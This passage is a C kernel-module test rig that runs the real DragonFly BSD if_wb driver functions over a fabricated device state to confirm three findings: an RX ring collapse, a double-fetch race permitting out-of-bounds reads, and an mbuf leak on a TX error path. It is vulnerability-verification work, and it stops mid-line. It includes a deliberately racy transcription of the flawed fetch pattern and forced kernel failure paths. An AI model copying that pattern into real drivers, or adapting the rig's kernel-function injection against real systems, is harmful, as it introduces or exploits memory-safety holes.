/* * dfwb3_rig.c — combined production-handler KLD dispatch rig for * DF-4267 / DF-4268 / DF-4270 (sys/dev/netif/wb/if_wb.c) * * Built on the DF-4266 rig (findings/poc/DF-4266/df4266_wb_poc.c), which * established the method: the guest kernel is built with `device wb' * (X86_64_GENERIC:246), so the driver's REAL static functions live in the * running kernel image; their addresses are resolved from * /boot/kernel/kernel via nm(1) and injected through sysctls, and the rig * dispatches THE KERNEL'S OWN CODE over a fabricated post-attach softc. * Nothing about the code under test is recompiled or modified here. * * Dispatched production symbols: * wb_rxeof (:964) RX completion handler [DF-4268] * wb_init (:1379) initializer — its inlined wb_list_rx_init builds * the REAL RX ring state [DF-4267] * wb_start (:1298) TX start — ignored wb_encap() return [DF-4270] * wb_txeof.part.4 (:1047) TX completion (GCC part-clone; single %rdi=sc * ABI verified against wb_intr's call sites) [DF-4270] * wb_watchdog (:1560) watchdog recovery path [DF-4270] * wb_stop (:1583) cleanup * mbstat / mbtypes (static mbuf accounting, uipc_mbuf.c:242/240), * read for leak accounting [DF-4270] * * Scenarios (one sysctl each; the module can run all of them per boot): * * go4267 — RX ring collapse (if_wb.c:909 constant-condition ternary). * After the REAL wb_init arms the ring: * (a) dump hardware link words ld->wb_rx_list[i].wb_next and count * software links cd->wb_rx_chain[i].wb_nextdesc — all 64 point * at descriptor 0; distinct descriptors reachable: 1/64 * (TX contrast: 128/128); * (b) behavioural: a completed frame in slot 0 processed by the * fixed-OWN comparator leaves wb_rx_head AT slot 0 (a correct * ring advances to slot 1); rig-repaired links (simulating the * one-token fix) make the identical state advance to slot 1. * * go4268 / go4268ctl — double-fetch of the device-written RX status * word. The device ("chip") is simulated by a USERLAND toggler * (df8_toggle.c) that rewrites slot0.wb_status through the * kern.dfwb3.tog sysctl with a 4:1 GOOD/HUGE duty cycle, pinned to * a different CPU with usched(8) — no kernel thread is involved * (rig v1 exited an lwkt_create()d thread and corrupted the run * queue; DFly lwkt_create()d threads are not meant to exit). * go4268 races the PRODUCTION wb_rxeof. Static analysis * (objdump) shows the length checks (:983/:984) and the * length use (:1004) merged into ONE load, so no win is * expected — the run is the empirical proof. * go4268ctl races the EXACT-SEMANTICS transcription of the source * fetch pattern (snapshot :973, re-reads :983/:984 * checks, re-read :1004 use; volatile forces the four * DISTINCT fetches the source spells out). A win here * where the binary does not win proves both the harness * and that the source pattern is exploitable as * written — the shipped kernel being safe only by * accidental compiler load-merging. Error branch: * same as source except the reset storm is elided * (it only burns ~60 ms; the fetch window is upstream). * * go4270 — wb_start ignores wb_encap() failure (if_wb.c:1327). * Drain the cluster pool (MGETHDR+MCLGET until MCLGET fails) so the * production wb_start's inlined wb_encap takes the MCLGET-failure * path on a 17-mbuf (16-fragment-overflow) chain, then observe on * production state: * - the dequeued packet chain is leaked (mbtypes accounting shows * +17 mbufs outstanding; descriptor wb_mbuf NULL; queue empty); * - the half-programmed descriptor is ARMED and TXSTART issued * (frag[0] OWN-set, frags 1..15 OWN-set, no LASTFRAG anywhere, * frag[15].wb_next one-past-the-array); * - the REAL wb_txeof.part.4 cannot advance (head->wb_mbuf == NULL * stops the :1062 walk immediately); * - the REAL wb_watchdog recovers the interface but the leaked * mbufs remain leaked; * then rig cleanup (free the chain from the saved pointer, release * the drained clusters) restores the accounting — guest left clean. * * Usage (root): * kldload ./dfwb3_rig.ko * sysctl -w kern.dfwb3.rxeof=0x$(nm /boot/kernel/kernel|awk '/ t wb_rxeof$/{print $1}') * sysctl -w kern.dfwb3.init=0x$(nm /boot/kernel/kernel|awk '/ t wb_init$/{print $1}') * sysctl -w kern.dfwb3.stop=0x$(nm /boot/kernel/kernel|awk '/ t wb_stop$/{print $1}') * sysctl -w kern.dfwb3.start=0x$(nm /boot/kernel/kernel|awk '/ t wb_start$/{print $1}') * sysctl -w kern.dfwb3.txeof=0x$(nm /boot/kernel/kernel|awk '/ t wb_txeof.part.4$/{print $1}') * sysctl -w kern.dfwb3.watchdog=0x$(nm /boot/kernel/kernel|awk '/ t wb_watchdog$/{print $1}') * sysctl -w kern.dfwb3.mbstat=0x$(nm /boot/kernel/kernel|awk '/ b mbstat$/{print $1}') * sysctl -w kern.dfwb3.mbtypes=0x$(nm /boot/kernel/kernel|awk '/ b mbtypes$/{print $1}') * sysctl -w kern.dfwb3.go4267=1 * sysctl -w kern.dfwb3.go4270=1 * # DF-4268 races (toggler on another CPU, e.g. CPU 3): * usched -p 3 ./df8_toggle & # then: * sysctl -w kern.dfwb3.go4268=1 # (or go4268ctl) * kill %1 */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include /* struct bsd_device: fake miibus stand-in */ #include /* X86_64_BUS_SPACE_MEM */ #include #include /* vtophys */ #include #include #include #include #include #include #include #include #include /* ------------------------------------------------------------------ */ /* REAL kernel symbols, resolved from /boot/kernel/kernel via nm(1) */ /* ------------------------------------------------------------------ */ static void (*p_wb_rxeof)(struct wb_softc *); static void (*p_wb_init)(void *); static void (*p_wb_stop)(struct wb_softc *); static void (*p_wb_start)(struct ifnet *, struct ifaltq_subque *); static void (*p_wb_txeof)(struct wb_softc *); /* wb_txeof.part.4 */ static void (*p_wb_watchdog)(struct ifnet *); static struct mbstat *p_mbstat; /* [SMP_MAXCPU] __cachealign */ struct df_mbtypes_stat { /* uipc_mbuf.c:236-238 */ u_long stats[MT_NTYPES]; } __attribute__((__aligned__(64))); static struct df_mbtypes_stat *p_mbtypes; /* [SMP_MAXCPU] */ SYSCTL_NODE(_kern, OID_AUTO, dfwb3, CTLFLAG_RW, 0, "DF wb rig 4267/4268/4270"); /* hex-string address injection (values live above INT64_MAX) */ static int df_sysctl_addr(SYSCTL_HANDLER_ARGS, void **target) { char buf[32]; const char *s; int error, len; ksnprintf(buf, sizeof(buf), "0x%016llx", (unsigned long long)(uintptr_t)*target); error = SYSCTL_OUT(req, buf, strlen(buf) + 1); if (error || req->newptr == NULL) return (error); len = req->newlen - req->newidx; if (len >= (int)sizeof(buf)) return (EINVAL); error = SYSCTL_IN(req, buf, len); if (error) return (error); buf[len] = '\0'; s = buf; if (s[0] == '0' && (s[1] == 'x' || s[1] == 'X')) s += 2; *target = (void *)(uintptr_t)strtoul(s, NULL, 16); return (0); } #define DF_ADDR_SYSCTL(name, var, descr) \ static int \ df_sysctl_##name(SYSCTL_HANDLER_ARGS) \ { \ return (df_sysctl_addr(oidp, arg1, arg2, req, (void **)&var)); \ } \ SYSCTL_PROC(_kern_dfwb3, OID_AUTO, name, \ CTLTYPE_STRING | CTLFLAG_RW, NULL, 0, df_sysctl_##name, "A", descr); DF_ADDR_SYSCTL(rxeof, p_wb_rxeof, "kernel address of static wb_rxeof() (hex)") DF_ADDR_SYSCTL(init, p_wb_init, "kernel address of static wb_init() (hex)") DF_ADDR_SYSCTL(stop, p_wb_stop, "kernel address of static wb_stop() (hex)") DF_ADDR_SYSCTL(start, p_wb_start, "kernel address of static wb_start() (hex)") DF_ADDR_SYSCTL(txeof, p_wb_txeof, "kernel address of wb_txeof.part.4 (hex)") DF_ADDR_SYSCTL(watchdog, p_wb_watchdog, "kernel address of wb_watchdog (hex)") DF_ADDR_SYSCTL(mbstat, p_mbstat, "kernel address of mbstat[] (hex)") DF_ADDR_SYSCTL(mbtypes, p_mbtypes, "kernel address of mbtypes[] (hex)") /* ------------------------------------------------------------------ */ /* Static rig state — module .bss, never freed */ /* ------------------------------------------------------------------ */ static struct wb_softc df_sc; static struct wb_list_data df_ldata; static struct mii_data df_mii; /* zeroed: empty phys list */ static struct bsd_device df_miibus_dev; /* .softc = &df_mii */ static uint32_t df_mmio[PAGE_SIZE / 4] __attribute__((__aligned__(PAGE_SIZE))); /* MMIO BAR stand-in */ static struct lwkt_serialize df_ser; static struct ifdata_pcpu df_ifdata[64]; static struct ifaltq_subque df_subq __attribute__((__aligned__(64))); static int df_delivered; /* if_input sink counter */ /* ---- DF-4268 win capture + userland "chip" interface ---- */ static int df8_won; /* oversized delivery seen */ static int df8_won_by_prod; /* 1 = production handler */ static int df8_maxplen; /* max pkthdr.len delivered */ static int df8_prod_mode; /* df_input attribution */ static uint32_t *df8_slot; /* &rx_list[0].wb_status */ static int df8_dloop = 250; /* dispatch cap (sysctl-tunable) */ #define DF8_MARKER "DF4268-OOBREAD!" #define DF8_MLEN 15 SYSCTL_INT(_kern_dfwb3, OID_AUTO, dloop, CTLFLAG_RW, &df8_dloop, 0, "dispatch cap for the DF-4268 races"); /* * kern.dfwb3.tog — the userland "chip" write path: stores a raw status * word into rx_list[0].wb_status (the value the NIC would DMA). The * toggler passes the value as a SIGNED int (e.g. -1011874048 for * 0xFFFF0300) because sysctl ints are signed. */ static int df_sysctl_tog(SYSCTL_HANDLER_ARGS) { int error, v = 0; error = sysctl_handle_int(oidp, &v, 0, req); if (error || req->newptr == NULL) return (error); if (df8_slot != NULL) *df8_slot = (uint32_t)v; return (0); } SYSCTL_PROC(_kern_dfwb3, OID_AUTO, tog, CTLTYPE_INT | CTLFLAG_RW, NULL, 0, df_sysctl_tog, "I", "write a raw wb_status word into rx_list[0] (the 'chip')"); static u_long df_stat(size_t off) { u_long v = 0; int i; for (i = 0; i < 64; i++) v += *(u_long *)((char *)&df_ifdata[i] + off); return (v); } #define DF_STAT(f) df_stat(__offsetof(struct ifdata_pcpu, f)) /* mbuf accounting (per-CPU arrays, cache-line strided) */ #define DF_MBSTRIDE (roundup2(sizeof(struct mbstat), 64)) static u_long df_mbt_total(int type) { u_long v = 0; int i; if (p_mbtypes == NULL) return ((u_long)-1); for (i = 0; i < ncpus; i++) v += p_mbtypes[i].stats[type]; return (v); } static u_long df_drops_total(void) { u_long v = 0; int i; if (p_mbstat == NULL) return ((u_long)-1); for (i = 0; i < ncpus; i++) v += ((struct mbstat *)((char *)p_mbstat + i * DF_MBSTRIDE))->m_drops; return (v); } /* * Production if_input stand-in: record and describe the delivered chain, * then consume it exactly as the network stack eventually would. * DF-4268: any packet with pkthdr.len > 1536 is a check/use-divergence * WIN — dump the evidence (marker offset + boundary hexdump). */ static void df_input(struct ifnet *ifp, struct mbuf *m, const struct pktinfo *pi, int cpuid) { uint8_t *p = mtod(m, uint8_t *); int plen = m->m_pkthdr.len; if (plen > df8_maxplen) df8_maxplen = plen; if (plen > 1536) { struct mbuf *x; int off = 0, i; df8_won = 1; df8_won_by_prod = df8_prod_mode; kprintf("dfwb3: *** OVERSIZED DELIVERY: m=%p pkthdr.len=%d " "(> 1536 max legal RX len) by %s handler ***\n", m, plen, df8_prod_mode ? "PRODUCTION" : "transcription"); kprintf("dfwb3: segments:"); for (x = m, i = 0; x != NULL && i < 12; x = x->m_next, i++) kprintf(" [%d]", x->m_len); kprintf("\n"); /* locate the OOB marker in the delivered bytes */ for (x = m; x != NULL; off += x->m_len, x = x->m_next) { int n = x->m_len - DF8_MLEN; for (i = 0; i <= n; i++) { if (bcmp(mtod(x, caddr_t) + i, DF8_MARKER, DF8_MLEN) == 0) { kprintf("dfwb3: OOB marker %s found " "at packet offset %d — content " "from %d bytes PAST the 4096-byte " "armed RX buffer was copied into " "the received frame\n", DF8_MARKER, off + i, (off + i) - (4096 - 6)); break; } } } /* hexdump across the armed-buffer-0 boundary */ kprintf("dfwb3: boundary hexdump, packet offsets " "4080..4175 (armed 4096-byte buffer ends at packet " "offset 4090):\n"); { struct mbuf *y = m; uint8_t *d; int pos = 0; while (y != NULL) { d = mtod(y, uint8_t *); for (i = 0; i < y->m_len; i++, pos++) { if (pos >= 4080 && pos < 4176) { if ((pos - 4080) % 16 == 0) kprintf(" %06x:", pos); kprintf(" %02x", d[i]); if ((pos - 4080) % 16 == 15) kprintf("\n"); } } y = y->m_next; } } } else if (m->m_len >= 18 && df_delivered < 5) { kprintf("dfwb3: if_input: m=%p m_len=%d pkthdr.len=%d " "dst=%02x:%02x:%02x:%02x:%02x:%02x type=%02x%02x " "(further normal deliveries suppressed in log)\n", m, m->m_len, plen, p[0], p[1], p[2], p[3], p[4], p[5], p[12], p[13]); } else if (m->m_len < 18 && df_delivered < 5) { kprintf("dfwb3: if_input: m=%p m_len=%d\n", m, m->m_len); } df_delivered++; m_freem(m); } /* ================================================================== */ /* DF-4267 comparator — verbatim wb_rxeof with the DF-4266 fix line */ /* (loop breaks on OWN-set, as the FreeBSD original does). NOT the */ /* code under test: it isolates the ring-topology variable while the */ /* stock kernel's inverted loop (DF-4266) would mask frame processing. */ /* ================================================================== */ static void df_wb_bfree(void *arg) { } static int df_wb_newbuf(struct wb_softc *sc, struct wb_chain_onefrag *c, struct mbuf *m) { struct mbuf *m_new = NULL; if (m == NULL) { MGETHDR(m_new, M_NOWAIT, MT_DATA); if (m_new == NULL) return(ENOBUFS); m_new->m_data = m_new->m_ext.ext_buf = c->wb_buf; m_new->m_flags |= M_EXT; m_new->m_ext.ext_size = m_new->m_pkthdr.len = m_new->m_len = WB_BUFBYTES; m_new->m_ext.ext_free = df_wb_bfree; m_new->m_ext.ext_ref = df_wb_bfree; } else { m_new = m; m_new->m_len = m_new->m_pkthdr.len = WB_BUFBYTES; m_new->m_data = m_new->m_ext.ext_buf; } m_adj(m_new, sizeof(uint64_t)); c->wb_mbuf = m_new; c->wb_ptr->wb_data = vtophys(mtod(m_new, caddr_t)); c->wb_ptr->wb_ctl = WB_RXCTL_RLINK | 1536; c->wb_ptr->wb_status = WB_RXSTAT; return(0); } static void df_wb_rxeof_fixedown(struct wb_softc *sc) { struct ifnet *ifp = &sc->arpcom.ac_if; struct mbuf *m, *m0; struct wb_chain_onefrag *cur_rx; int total_len = 0; uint32_t rxstat; for (;;) { rxstat = sc->wb_cdata.wb_rx_head->wb_ptr->wb_status; if (rxstat & WB_RXSTAT_OWN) /* DF-4266 fix line */ break; cur_rx = sc->wb_cdata.wb_rx_head; sc->wb_cdata.wb_rx_head = cur_rx->wb_nextdesc; m = cur_rx->wb_mbuf; if ((rxstat & WB_RXSTAT_MIIERR) || (WB_RXBYTES(rxstat) < WB_MIN_FRAMELEN) || (WB_RXBYTES(rxstat) > 1536) || (rxstat & WB_RXSTAT_LASTFRAG) == 0 || (rxstat & WB_RXSTAT_RXCMP) == 0) { IFNET_STAT_INC(ifp, ierrors, 1); df_wb_newbuf(sc, cur_rx, m); kprintf("dfwb3: comparator: babble branch " "(unexpected in DF-4267 scenario)\n"); return; } if (rxstat & WB_RXSTAT_RXERR) { IFNET_STAT_INC(ifp, ierrors, 1); df_wb_newbuf(sc, cur_rx, m); break; } total_len = WB_RXBYTES(rxstat); total_len -= ETHER_CRC_LEN; m0 = m_devget(mtod(m, char *) - ETHER_ALIGN, total_len + ETHER_ALIGN, 0, ifp); df_wb_newbuf(sc, cur_rx, m); if (m0 == NULL) { IFNET_STAT_INC(ifp, ierrors, 1); break; } m_adj(m0, ETHER_ALIGN); m = m0; IFNET_STAT_INC(ifp, ipackets, 1); ifp->if_input(ifp, m, NULL, -1); } } /* ================================================================== */ /* DF-4268 control: EXACT-SEMANTICS transcription of the source fetch */ /* pattern — snapshot :973, re-reads :983/:984 (checks), re-read :1004 */ /* (use). volatile forces the four DISTINCT fetches the source spells */ /* out (the shipped binary merges :983/:984/:1004 into one load). */ /* ================================================================== */ static void df8_vuln_rxeof(struct wb_softc *sc) { struct ifnet *ifp = &sc->arpcom.ac_if; struct mbuf *m, *m0; struct wb_chain_onefrag *cur_rx; int total_len = 0; uint32_t rxstat; volatile uint32_t *st; for (;;) { st = &sc->wb_cdata.wb_rx_head->wb_ptr->wb_status; rxstat = *st; /* :973 */ if ((rxstat & WB_RXSTAT_OWN) == 0) /* stock */ break; cur_rx = sc->wb_cdata.wb_rx_head; sc->wb_cdata.wb_rx_head = cur_rx->wb_nextdesc; m = cur_rx->wb_mbuf; if ((rxstat & WB_RXSTAT_MIIERR) || (WB_RXBYTES(*st) < WB_MIN_FRAMELEN) || /* :983 */ (WB_RXBYTES(*st) > 1536) || /* :984 */ (rxstat & WB_RXSTAT_LASTFRAG) == 0 || (rxstat & WB_RXSTAT_RXCMP) == 0) { IFNET_STAT_INC(ifp, ierrors, 1); df_wb_newbuf(sc, cur_rx, m); return; /* reset storm elided (documented) */ } if (rxstat & WB_RXSTAT_RXERR) { IFNET_STAT_INC(ifp, ierrors, 1); df_wb_newbuf(sc, cur_rx, m); break; } total_len = WB_RXBYTES(*st); /* :1004 USE */ total_len -= ETHER_CRC_LEN; m0 = m_devget(mtod(m, char *) - ETHER_ALIGN, total_len + ETHER_ALIGN, 0, ifp); df_wb_newbuf(sc, cur_rx, m); if (m0 == NULL) { IFNET_STAT_INC(ifp, ierrors, 1); break; } m_adj(m0, ETHER_ALIGN); m = m0; IFNET_STAT_INC(ifp, ipackets, 1); ifp->if_input(ifp, m, NULL, -1); } } /* ------------------------------------------------------------------ */ /* Shared fabrication (proven by DF-4266) */ /* ------------------------------------------------------------------ */ static void df_ring_probe(const char *tag) { struct wb_chain_onefrag *c0 = &df_sc.wb_cdata.wb_rx_chain[0]; uint32_t st = c0->wb_ptr->wb_status; kprintf("dfwb3: [%s] head==chain0:%d slot0.status=%#010x OWN:%d " "RXLEN:%u mbuf=%p\n", tag, df_sc.wb_cdata.wb_rx_head == c0, st, !!(st & WB_RXSTAT_OWN), WB_RXBYTES(st), c0->wb_mbuf); } static uint8_t df_frame[64]; static void df_craft_frame(void) { struct mbuf *m = df_sc.wb_cdata.wb_rx_chain[0].wb_mbuf; int i; for (i = 0; i < ETHER_ADDR_LEN; i++) df_frame[i] = 0xFF; df_frame[6] = 0x00; df_frame[7] = 0xDF; df_frame[8] = 0x42; df_frame[9] = 0x67; df_frame[10] = 0x00; df_frame[11] = 0x01; df_frame[12] = 0xDF; df_frame[13] = 0x67; for (i = 14; i < 60; i++) df_frame[i] = (uint8_t)i; df_frame[60] = 0xDE; df_frame[61] = 0xAD; df_frame[62] = 0xBE; df_frame[63] = 0xEF; bcopy(df_frame, mtod(m, uint8_t *), sizeof(df_frame)); } static int df_setup(void) { struct ifnet *ifp = &df_sc.arpcom.ac_if; bzero(df_mmio, sizeof(df_mmio)); bzero(df_ifdata, sizeof(df_ifdata)); callout_init(&df_sc.wb_stat_timer); lwkt_serialize_init(&df_ser); df_miibus_dev.softc = &df_mii; df_sc.wb_miibus = &df_miibus_dev; df_sc.wb_ldata = &df_ldata; df_sc.wb_cachesize = 0; df_sc.wb_btag = (bus_space_tag_t)X86_64_BUS_SPACE_MEM; df_sc.wb_bhandle = (bus_space_handle_t)(uintptr_t)df_mmio; strlcpy(ifp->if_xname, "dfwb0", sizeof(ifp->if_xname)); ifp->if_softc = &df_sc; ifp->if_serializer = &df_ser; ifp->if_input = df_input; ifp->if_data_pcpu = df_ifdata; ifp->if_flags = IFF_UP | IFF_BROADCAST | IFF_SIMPLEX | IFF_MULTICAST | IFF_RUNNING; ifp->if_snd.altq_subq_cnt = 1; ifp->if_snd.altq_subq = &df_subq; ifp->if_snd.altq_ifp = ifp; ifp->if_snd.altq_maxlen = WB_TX_LIST_CNT - 1; lwkt_serialize_init(&df_subq.ifsq_lock); df_subq.ifsq_index = 0; df_subq.ifsq_altq = &ifp->if_snd; df_subq.ifsq_ifp = ifp; df_subq.ifsq_maxlen = ifp->if_snd.altq_maxlen; df_subq.ifsq_maxbcnt = df_subq.ifsq_maxlen * MCLBYTES; df_subq.ifsq_enqueue = ifsq_classic_enqueue; df_subq.ifsq_dequeue = ifsq_classic_dequeue; df_subq.ifsq_request = ifsq_classic_request; ifq_set_ready(&ifp->if_snd); kprintf("dfwb3: layout: sizeof(wb_softc)=%#zx if_timer=%#zx " "bhandle=%#zx btag=%#zx ldata=%#zx rx_chain0=%#zx " "stat_timer=%#zx snd.altq_subq=%#zx\n", sizeof(struct wb_softc), __offsetof(struct wb_softc, arpcom.ac_if.if_timer), __offsetof(struct wb_softc, wb_bhandle), __offsetof(struct wb_softc, wb_btag), __offsetof(struct wb_softc, wb_ldata), __offsetof(struct wb_softc, wb_cdata.wb_rx_chain[0]), __offsetof(struct wb_softc, wb_stat_timer), __offsetof(struct wb_softc, arpcom.ac_if.if_snd.altq_subq)); return (0); } static void df4267_fill_markers(void) { /* DF-4268 marker fill over all RX buffers (slot-0 frame overwrites) */ int i, s; for (i = 0; i < WB_RX_LIST_CNT; i++) { uint8_t *b = (uint8_t *)&df_ldata.wb_rxbufs[i]; for (s = 0; s < WB_BUFBYTES - DF8_MLEN; s += DF8_MLEN) bcopy(DF8_MARKER, b + s, DF8_MLEN); } } /* ================================================================== */ /* DF-4267 — RX ring collapse */ /* ================================================================== */ static void df_phase_4267(void) { struct wb_softc *sc = &df_sc; uint32_t next0 = (uint32_t)vtophys(&df_ldata.wb_rx_list[0]); int i, distinct, collapsed = 1; kprintf("dfwb3: === DF-4267: ring built by the REAL wb_init " "(inlined wb_list_rx_init, if_wb.c:894-917) ===\n"); bzero(df_mmio, sizeof(df_mmio)); p_wb_init(sc); kprintf("dfwb3: hardware links ld->wb_rx_list[i].wb_next " "(a closed ring would link i -> i+1, 63 -> 0):\n"); for (i = 0; i < WB_RX_LIST_CNT; i += 8) kprintf("dfwb3: wb_rx_list[%2d].wb_next = %#010x %s\n", i, df_ldata.wb_rx_list[i].wb_next, df_ldata.wb_rx_list[i].wb_next == next0 ? "<- desc 0" : ""); for (i = 0; i < WB_RX_LIST_CNT; i++) if (df_ldata.wb_rx_list[i].wb_next != next0) collapsed = 0; kprintf("dfwb3: => %d/64 hardware wb_next words point at " "descriptor 0 (vtophys(&wb_rx_list[0])=%#x)\n", collapsed ? 64 : -1, next0); /* software-side distinct-descriptor walk from wb_rx_head */ { struct wb_chain_onefrag *c = sc->wb_cdata.wb_rx_head; uint8_t seen[WB_RX_LIST_CNT]; int steps = 0; bzero(seen, sizeof(seen)); while (steps < 2 * WB_RX_LIST_CNT) { int idx = c - &sc->wb_cdata.wb_rx_chain[0]; if (seen[idx]++) break; c = c->wb_nextdesc; steps++; } distinct = 0; for (i = 0; i < WB_RX_LIST_CNT; i++) distinct += !!seen[i]; kprintf("dfwb3: software walk from wb_rx_head: distinct " "descriptors reachable = %d / %d (returned to a visited " "descriptor after %d hops)\n", distinct, WB_RX_LIST_CNT, steps); } /* TX contrast (the correct twin, if_wb.c:878) */ { struct wb_chain *c = &sc->wb_cdata.wb_tx_chain[0]; uint8_t seen[WB_TX_LIST_CNT]; int steps = 0; bzero(seen, sizeof(seen)); while (steps < 2 * WB_TX_LIST_CNT) { int idx = c - &sc->wb_cdata.wb_tx_chain[0]; if (seen[idx]++) break; c = c->wb_nextdesc; steps++; } distinct = 0; for (i = 0; i < WB_TX_LIST_CNT; i++) distinct += !!seen[i]; kprintf("dfwb3: TX contrast: distinct descriptors reachable " "from wb_tx_free = %d / %d (the :878 twin is correct)\n", distinct, WB_TX_LIST_CNT); } /* behavioural: completed frame in slot 0, fixed-OWN comparator */ { uint32_t crafted = WB_RXSTAT_RXCMP | WB_RXSTAT_LASTFRAG | WB_RXSTAT_FIRSTFRAG | (64 << 16); /* OWN=0 */ bzero(df_ifdata, sizeof(df_ifdata)); df_delivered = 0; df_craft_frame(); df_ldata.wb_rx_list[0].wb_status = crafted; df_ring_probe("4267-crafted"); df_wb_rxeof_fixedown(sc); kprintf("dfwb3: after processing the completed frame: " "delivered=%d head==chain0:%d head==chain1:%d — a " "correct ring advances head to chain[1]\n", df_delivered, sc->wb_cdata.wb_rx_head == &sc->wb_cdata.wb_rx_chain[0], sc->wb_cdata.wb_rx_head == &sc->wb_cdata.wb_rx_chain[1]); if (df_delivered == 1 && sc->wb_cdata.wb_rx_head == &sc->wb_cdata.wb_rx_chain[0]) kprintf("dfwb3: *** DF-4267 CONFIRMED (behavioural): " "the ring re-enters descriptor 0 — the driver can " "never advance past slot 0; 63/64 pre-armed RX " "buffers unreachable ***\n"); } /* counterfactual A/B: rig-repair ONLY the link words (the fix) */ { uint32_t crafted = WB_RXSTAT_RXCMP | WB_RXSTAT_LASTFRAG | WB_RXSTAT_FIRSTFRAG | (64 << 16); int k; bzero(df_ifdata, sizeof(df_ifdata)); df_delivered = 0; p_wb_init(sc); /* rebuild production state */ for (k = 0; k < WB_RX_LIST_CNT; k++) sc->wb_cdata.wb_rx_chain[k].wb_nextdesc = &sc->wb_cdata.wb_rx_chain[(k + 1) % WB_RX_LIST_CNT]; df_craft_frame(); df_ldata.wb_rx_list[0].wb_status = crafted; df_wb_rxeof_fixedown(sc); kprintf("dfwb3: A/B with ONE-TOKEN-FIXED links (simulated " "fix.diff): delivered=%d head==chain1:%d — the identical " "state now advances past slot 0\n", df_delivered, sc->wb_cdata.wb_rx_head == &sc->wb_cdata.wb_rx_chain[1]); if (df_delivered >= 1 && sc->wb_cdata.wb_rx_head == &sc->wb_cdata.wb_rx_chain[1]) kprintf("dfwb3: *** DF-4267 A/B: only the link words " "differ — the collapse is the ternary at " "if_wb.c:909 ***\n"); } /* chip-restart view: RXADDR is always descriptor 0 */ kprintf("dfwb3: MMIO WB_RXADDR=%#010x (== vtophys(&wb_rx_list[0]): " "%s) — every RX (re)start fetches descriptor 0; with all wb_next " "words pointing back to 0 the chip suspends after ONE frame " "(per-frame RX restart, wb_intr:1137/wb_rxeoc:1030)\n", df_mmio[WB_RXADDR / 4], df_mmio[WB_RXADDR / 4] == next0 ? "YES" : "no"); callout_stop(&sc->wb_stat_timer); } /* ================================================================== */ /* DF-4268 — double-fetch race */ /* Userland "chip": kern.dfwb3.tog writer (df8_toggle, µs period). */ /* Kernel "chip": a toggle thread at ns store-to-store rate, pinned */ /* to a spare CPU, that NEVER EXITS (rig v1 taught us lwkt_create()d */ /* threads must not exit: doing so corrupted the run queue -> panic). */ /* After the race it parks in tsleep() forever, holding only its stack.*/ /* ================================================================== */ static volatile int df8k_run; static void *df8k_park; static void df8k_toggle_thread(void *arg) { uint32_t good = 0xC0400300u; uint32_t huge = 0xFFFF0300u; uint32_t *slot = arg; while (df8k_run) { int i; for (i = 0; i < 4; i++) *slot = good; *slot = huge; } /* park forever — never lwkt_exit() */ for (;;) tsleep(&df8k_park, 0, "df8park", 0); } static void df_phase_4268(int use_production) { struct wb_softc *sc = &df_sc; struct timeval t0, t1; struct thread *td = NULL; int i, kernchip = 0; df8_won = df8_won_by_prod = 0; df8_maxplen = 0; df8_prod_mode = use_production; df_delivered = 0; kprintf("dfwb3: === DF-4268: race the %s handler — the 'chip' " "rewrites slot0.wb_status GOOD(0x%08x/len64) <-> " "HUGE(0x%08x/len16383), both OWN=1 (mid-write-back transient) " "===\n", use_production ? "PRODUCTION wb_rxeof" : "exact-semantics transcription", 0xC0400300u, 0xFFFF0300u); bzero(df_mmio, sizeof(df_mmio)); bzero(df_ifdata, sizeof(df_ifdata)); p_wb_init(sc); df4267_fill_markers(); df_craft_frame(); df_ring_probe("4268-armed"); df8_slot = &df_ldata.wb_rx_list[0].wb_status; *df8_slot = 0xC0400300u; if (!use_production) { /* kernel ns-rate chip on a spare CPU for the control */ int cpu = (mycpu->gd_cpuid + 1) % ncpus; df8k_run = 1; lwkt_create(df8k_toggle_thread, (void *)df8_slot, &td, NULL, cpu, 0, "df8k_tog"); kernchip = 1; kprintf("dfwb3: kernel ns-rate toggle thread on CPU%d " "(parks after the race; module must stay loaded)\n", cpu); } else { kprintf("dfwb3: dispatch CPU=%d — START the userland toggler " "now (usched bsd4: ./df8_toggle); racing for up to " "%d dispatches\n", mycpu->gd_cpuid, df8_dloop); } getmicrotime(&t0); for (i = 0; i < df8_dloop && !df8_won; i++) { if (use_production) p_wb_rxeof(sc); else df8_vuln_rxeof(sc); callout_stop(&sc->wb_stat_timer); /* no wb_tick under load */ if ((i % (df8_dloop / 10 > 0 ? df8_dloop / 10 : 1)) == 0 && i > 0) kprintf("dfwb3: dispatch %d: delivered=%d " "maxplen=%d won=%d\n", i, df_delivered, df8_maxplen, df8_won); } getmicrotime(&t1); if (kernchip) df8k_run = 0; /* thread parks itself */ kprintf("dfwb3: DF-4268 %s race over after %d dispatches (~%ld s): " "delivered=%d maxplen=%d WON=%d%s\n", use_production ? "PRODUCTION" : "TRANSCRIPTION", i, (long)(t1.tv_sec - t0.tv_sec), df_delivered, df8_maxplen, df8_won, df8_won ? " — CHECK/USE DIVERGENCE" : ""); p_wb_stop(sc); callout_stop(&sc->wb_stat_timer); if (!kernchip) df8_slot = NULL; } static void df_phase_4268_prod_wrapper(void) { df_phase_4268(1); } static void df_phase_4268_ctl_wrapper(void) { df_phase_4268(0); } /* ================================================================== */ /* DF-4270 — wb_start ignores wb_encap failure */ /* ================================================================== */ #define DF0_NMB 17 /* pkthdr + 16 data mbufs */ #define DF0_MLEN 128 static void df_phase_4270(void) { struct wb_softc *sc = &df_sc; struct ifnet *ifp = &sc->arpcom.ac_if; struct mbuf *head = NULL, **tail = &head, *m; struct mbuf **stash = NULL, *saved; struct wb_chain *c0; u_long mbt0, mbt1, mbt2, mbt3, drops0, drops1, op0, op1; int i, nstash = 0, k, leaked, eq; kprintf("dfwb3: === DF-4270: force the wb_encap MCLGET-failure path " "under the REAL wb_start ===\n"); bzero(df_mmio, sizeof(df_mmio)); bzero(df_ifdata, sizeof(df_ifdata)); p_wb_init(sc); /* post-init TX state */ /* build the 17-mbuf / 2176-byte chain (16-fragment overflow) */ for (i = 0; i < DF0_NMB; i++) { if (i == 0) { MGETHDR(m, M_WAITOK, MT_DATA); m->m_pkthdr.len = DF0_NMB * DF0_MLEN; m->m_pkthdr.rcvif = ifp; } else { MGET(m, M_WAITOK, MT_DATA); } m->m_len = DF0_MLEN; for (k = 0; k < DF0_MLEN; k += 8) bcopy("DF4270LK", mtod(m, caddr_t) + k, 8); *tail = m; tail = &m->m_next; } saved = head; kprintf("dfwb3: crafted %d-mbuf chain, pkthdr.len=%d " "(>16 fragments -> wb_encap coalesce branch; len > MHLEN -> " "MCLGET 